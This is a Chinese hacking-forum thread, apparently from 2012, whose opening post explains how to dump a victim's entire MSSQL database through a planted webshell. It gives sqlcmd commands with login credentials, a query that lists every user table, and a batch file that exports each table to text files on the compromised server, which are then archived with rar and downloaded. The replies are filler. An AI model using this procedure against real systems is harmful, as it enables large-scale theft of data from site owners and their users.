查看: 2257|回复: 24

sqlcmd脱mssql数据库【大型库很有效】

[复制链接]
发表于 2012-11-10 02:35:53 | 显示全部楼层 |阅读模式
近日碰带一个脱裤的环境:
asp+mssql的环境,网站数据库分离的
想脱所有库里的内容

尝试多种脱裤的脚本,都有点差强人意
尝试ssql.asp 虽然也行
但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句,
就的分多次查询,但数据有几十万,这样执行也非常难受

后来发现命令行下有sqlcmd这个工具,可远程执行sql命令

于是尝试远程备份数据库,执行命令如下
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "backup database xxx to disk='c:\\temp\\xxx.bak'"

但是失败,后分析了下该cms账号为public权限,没有备份权限
于是换一种思路
分别将库里的所有表给备份出来

首先获取该库下的所有用户表名
select name from cms.dbo.sysobjects where xtype='U'

然后做成一个批处理
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table1">>c:\\temp\\table1.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table2">>c:\\temp\\table2.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table3">>c:\\temp\\table3.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table4">>c:\\temp\\table4.txt
.......

这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 迅雷下载 完工​
[/td][/tr]
[/table]
发表于 2012-11-10 21:11:18 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
woshilkc 该用户已被删除
发表于 2012-11-11 06:55:23 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-11-16 08:10:11 | 显示全部楼层
长时间没来看了 ~~  
发表于 2012-11-22 17:45:25 | 显示全部楼层
床前明月光,低头吃便当!  
发表于 2014-12-4 03:44:02 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-26 16:59:11 | 显示全部楼层
哦...............  
发表于 2015-1-26 22:57:23 | 显示全部楼层
一楼的位置好啊..  
发表于 2015-2-28 22:01:54 | 显示全部楼层
我假装认真地工作,老板假装认真地付薪水  
旁友 该用户已被删除
发表于 2015-3-29 03:00:48 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
高级模式
B Color Image Link Quote Code Smilies

本版积分规则